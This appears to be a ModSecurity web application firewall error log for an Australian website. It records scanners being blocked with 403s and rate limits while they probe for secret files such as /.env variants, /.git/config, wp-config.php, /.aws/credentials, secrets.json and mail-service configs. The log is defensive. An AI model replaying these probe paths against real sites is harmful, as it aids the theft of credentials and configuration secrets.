[Sat Nov 29 15:14:22.144361 2025] [:error] [pid 25341:tid 25352] [client 207.154.216.0:53016] [client 207.154.216.0] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-json/"] [unique_id "aSqdTvWK8JdN03Mg7dz81QAAAcc"]
[Sat Nov 29 17:00:51.445028 2025] [:error] [pid 20915:tid 20929] [client 119.96.24.54:34506] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aSq2Q1OOtKw1QZ3TPETCowAAAMw"]
[Sat Nov 29 20:35:25.968711 2025] [:error] [pid 20828:tid 20902] [client 43.207.166.69:33586] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSrojeqW2f0jLRABAOSYfgAAAJE"]
[Sat Nov 29 20:35:26.509886 2025] [:error] [pid 32136:tid 32152] [client 43.207.166.69:33598] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "aSrojsSj_WSVQM1psKqtQQAAAQ4"]
[Sat Nov 29 20:35:27.051941 2025] [:error] [pid 20826:tid 20832] [client 43.207.166.69:33608] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "aSroj_ABfBqk70vKX9TOPwAAAAI"]
[Sat Nov 29 20:35:27.593221 2025] [:error] [pid 20915:tid 20935] [client 43.207.166.69:33620] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "aSroj1OOtKw1QZ3TPETzXAAAANI"]
[Sat Nov 29 20:35:28.130411 2025] [:error] [pid 20827:tid 20858] [client 43.207.166.69:33632] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "aSrokIR9B7FcLfh1rSGfgAAAAEA"]
[Sat Nov 29 20:35:28.672398 2025] [:error] [pid 37490:tid 37505] [client 43.207.166.69:33646] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "aSrokJjG6OUSCUo6XZ1FfAAAAg0"]
[Sat Nov 29 20:35:29.220265 2025] [:error] [pid 25341:tid 25352] [client 43.207.166.69:33650] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.example"] [unique_id "aSrokfWK8JdN03Mg7dxTqQAAAcc"]
[Sat Nov 29 20:35:54.695729 2025] [:error] [pid 32136:tid 32152] [client 43.207.166.69:57840] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/config.ini"] [unique_id "aSroqsSj_WSVQM1psKqtxgAAAQ4"]
[Sat Nov 29 20:36:00.611190 2025] [:error] [pid 16610:tid 16630] [client 43.207.166.69:57874] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/settings"] [unique_id "aSrosATu2dLzNk_QISoXaQAAAZI"]
[Sat Nov 29 20:36:01.151230 2025] [:error] [pid 25341:tid 25360] [client 43.207.166.69:57884] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/settings.json"] [unique_id "aSrosfWK8JdN03Mg7dxUhQAAAc8"]
[Sat Nov 29 20:36:01.692325 2025] [:error] [pid 62619:tid 62624] [client 43.207.166.69:57886] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.config.js"] [unique_id "aSrosdk7ZYKT63FfVSV23gAAAUM"]
[Sat Nov 29 20:36:02.229194 2025] [:error] [pid 16610:tid 16636] [client 43.207.166.69:57900] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo.php"] [unique_id "aSrosgTu2dLzNk_QISoXbQAAAZg"]
[Sat Nov 29 20:36:02.768691 2025] [:error] [pid 20827:tid 20875] [client 43.207.166.69:57914] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aSrosoR9B7FcLfh1rSGgDQAAAFE"]
[Sat Nov 29 20:36:03.310223 2025] [:error] [pid 20826:tid 20834] [client 43.207.166.69:57930] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpversion.php"] [unique_id "aSros_ABfBqk70vKX9TPNwAAAAQ"]
[Sat Nov 29 20:36:03.850909 2025] [:error] [pid 16610:tid 16631] [client 43.207.166.69:56792] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test.php"] [unique_id "aSroswTu2dLzNk_QISoXbwAAAZM"]
[Sat Nov 29 20:36:04.394691 2025] [:error] [pid 20915:tid 20940] [client 43.207.166.69:56802] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin"] [unique_id "aSrotFOOtKw1QZ3TPET1GQAAANc"]
[Sat Nov 29 20:36:04.936702 2025] [:error] [pid 20915:tid 20935] [client 43.207.166.69:56804] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSrotFOOtKw1QZ3TPET1GwAAANI"]
[Sat Nov 29 20:36:05.478050 2025] [:error] [pid 20915:tid 20934] [client 43.207.166.69:56808] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aSrotVOOtKw1QZ3TPET1HQAAANE"]
[Sat Nov 29 20:36:06.021719 2025] [:error] [pid 62619:tid 62637] [client 43.207.166.69:56824] [client 43.207.166.69] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/composer.json"] [unique_id "aSrottk7ZYKT63FfVSV25wAAAVA"]
[Sat Nov 29 20:36:06.568902 2025] [:error] [pid 20826:tid 20849] [client 43.207.166.69:56834] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/config"] [unique_id "aSrotvABfBqk70vKX9TPQAAAABM"]
[Sat Nov 29 20:36:07.110592 2025] [:error] [pid 32136:tid 32154] [client 43.207.166.69:56842] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.aws/credentials"] [unique_id "aSrot8Sj_WSVQM1psKqt1AAAARA"]
[Sat Nov 29 20:36:07.650434 2025] [:error] [pid 25341:tid 25346] [client 43.207.166.69:56850] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/config"] [unique_id "aSrot_WK8JdN03Mg7dxUjQAAAcE"]
[Sat Nov 29 20:36:08.194651 2025] [:error] [pid 37490:tid 37509] [client 43.207.166.69:56856] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws/credentials"] [unique_id "aSrouJjG6OUSCUo6XZ1F_wAAAhE"]
[Sat Nov 29 20:36:08.733232 2025] [:error] [pid 37490:tid 37501] [client 43.207.166.69:56862] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws.json"] [unique_id "aSrouJjG6OUSCUo6XZ1GAAAAAgk"]
[Sat Nov 29 20:36:09.270059 2025] [:error] [pid 16610:tid 16620] [client 43.207.166.69:56864] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/credentials"] [unique_id "aSrouQTu2dLzNk_QISoXcwAAAYg"]
[Sat Nov 29 20:36:09.808496 2025] [:error] [pid 25341:tid 25355] [client 43.207.166.69:56878] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secrets.json"] [unique_id "aSroufWK8JdN03Mg7dxUlQAAAco"]
[Sat Nov 29 20:36:10.348661 2025] [:error] [pid 20915:tid 20930] [client 43.207.166.69:56894] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/keys.js"] [unique_id "aSroulOOtKw1QZ3TPET1JQAAAM0"]
[Sat Nov 29 20:36:10.892055 2025] [:error] [pid 20915:tid 20925] [client 43.207.166.69:56902] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aws-keys.js"] [unique_id "aSroulOOtKw1QZ3TPET1KAAAAMg"]
[Sat Nov 29 20:36:11.434891 2025] [:error] [pid 20827:tid 20877] [client 43.207.166.69:56904] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mailgun"] [unique_id "aSrou4R9B7FcLfh1rSGgGQAAAFM"]
[Sat Nov 29 20:36:11.979919 2025] [:error] [pid 20828:tid 20886] [client 43.207.166.69:56916] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mailgun.json"] [unique_id "aSrou-qW2f0jLRABAOSZXwAAAIE"]
[Sat Nov 29 20:36:12.522815 2025] [:error] [pid 20827:tid 20875] [client 43.207.166.69:56932] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mailgun/config"] [unique_id "aSrovIR9B7FcLfh1rSGgHQAAAFE"]
[Sat Nov 29 20:36:13.058073 2025] [:error] [pid 20828:tid 20907] [client 43.207.166.69:56942] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mailgun.php"] [unique_id "aSroveqW2f0jLRABAOSZYAAAAJU"]
[Sat Nov 29 20:36:13.594813 2025] [:error] [pid 37490:tid 37511] [client 43.207.166.69:42956] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sendgrid"] [unique_id "aSrovZjG6OUSCUo6XZ1GBQAAAhM"]
[Sat Nov 29 20:36:14.135513 2025] [:error] [pid 62619:tid 62632] [client 43.207.166.69:42962] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sendgrid.json"] [unique_id "aSrovtk7ZYKT63FfVSV27gAAAUs"]
[Sat Nov 29 20:36:14.682104 2025] [:error] [pid 20915:tid 20920] [client 43.207.166.69:42970] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sendgrid/config"] [unique_id "aSrovlOOtKw1QZ3TPET1NQAAAMM"]
[Sat Nov 29 20:36:15.224653 2025] [:error] [pid 25341:tid 25364] [client 43.207.166.69:42982] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sendgrid.php"] [unique_id "aSrov_WK8JdN03Mg7dxUnAAAAdM"]
[Sat Nov 29 20:36:15.766758 2025] [:error] [pid 25341:tid 25355] [client 43.207.166.69:42998] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sendgrid.env"] [unique_id "aSrov_WK8JdN03Mg7dxUoAAAAco"]
[Sat Nov 29 20:36:16.311924 2025] [:error] [pid 20915:tid 20927] [client 43.207.166.69:43000] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brevo"] [unique_id "aSrowFOOtKw1QZ3TPET1PQAAAMo"]
[Sat Nov 29 20:36:16.853753 2025] [:error] [pid 37490:tid 37507] [client 43.207.166.69:43008] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brevo.json"] [unique_id "aSrowJjG6OUSCUo6XZ1GCQAAAg8"]
[Sat Nov 29 20:36:17.391350 2025] [:error] [pid 20828:tid 20889] [client 43.207.166.69:43024] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brevo/config"] [unique_id "aSroweqW2f0jLRABAOSZagAAAIQ"]
[Sat Nov 29 20:36:17.931694 2025] [:error] [pid 62619:tid 62624] [client 43.207.166.69:43030] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/brevo.php"] [unique_id "aSrowdk7ZYKT63FfVSV29QAAAUM"]
[Sat Nov 29 20:36:18.468093 2025] [:error] [pid 20826:tid 20840] [client 43.207.166.69:43036] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/php"] [unique_id "aSrowvABfBqk70vKX9TPRQAAAAo"]
[Sat Nov 29 20:36:19.009507 2025] [:error] [pid 20915:tid 20921] [client 43.207.166.69:43042] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info"] [unique_id "aSrow1OOtKw1QZ3TPET1RwAAAMQ"]
[Sat Nov 29 20:36:19.559791 2025] [:error] [pid 32136:tid 32152] [client 43.207.166.69:43048] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/phpinfo"] [unique_id "aSrow8Sj_WSVQM1psKqt5AAAAQ4"]
[Sat Nov 29 20:36:20.100257 2025] [:error] [pid 20915:tid 20932] [client 43.207.166.69:43062] [client 43.207.166.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aSroxFOOtKw1QZ3TPET1TgAAAM8"]
[Sat Nov 29 20:56:35.777602 2025] [:error] [pid 20827:tid 20873] [client 101.190.51.240:50772] [client 101.190.51.240] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "180.252.93.229_b9541dde3a8b722c50a0e20705da5339fca49987"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/i18n.min.js"] [unique_id "aSrtgYR9B7FcLfh1rSGkXgAAAE8"], referer: https://vetstars.com.au/
[Sat Nov 29 23:05:31.643488 2025] [:error] [pid 20915:tid 20919] [client 34.221.33.242:46474] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSsLu1OOtKw1QZ3TPEQfvgAAAMI"]
[Sat Nov 29 23:05:32.380269 2025] [:error] [pid 37490:tid 37514] [client 34.221.33.242:46480] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aSsLvJjG6OUSCUo6XZ1psAAAAhY"]
[Sat Nov 29 23:05:33.108851 2025] [:error] [pid 62619:tid 62644] [client 34.221.33.242:46492] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aSsLvdk7ZYKT63FfVSWfEQAAAVc"]
[Sat Nov 29 23:05:33.836567 2025] [:error] [pid 32136:tid 32151] [client 34.221.33.242:46502] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "aSsLvcSj_WSVQM1psKrMbQAAAQ0"]
[Sat Nov 29 23:05:34.562333 2025] [:error] [pid 37490:tid 37513] [client 34.221.33.242:49010] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "aSsLvpjG6OUSCUo6XZ1ptAAAAhU"]
[Sat Nov 29 23:05:35.299352 2025] [:error] [pid 32136:tid 32142] [client 34.221.33.242:49024] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.bak"] [unique_id "aSsLv8Sj_WSVQM1psKrMcAAAAQQ"]
[Sat Nov 29 23:05:36.035247 2025] [:error] [pid 20915:tid 20923] [client 34.221.33.242:49032] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.example"] [unique_id "aSsLwFOOtKw1QZ3TPEQfwwAAAMY"]
[Sat Nov 29 23:05:58.557784 2025] [:error] [pid 25341:tid 25354] [client 34.221.33.242:44476] [client 34.221.33.242] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.vetstars.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.vetstars.com.au"] [uri "/config.ini"] [unique_id "aSsL1vWK8JdN03Mg7dx1_QAAAck"]
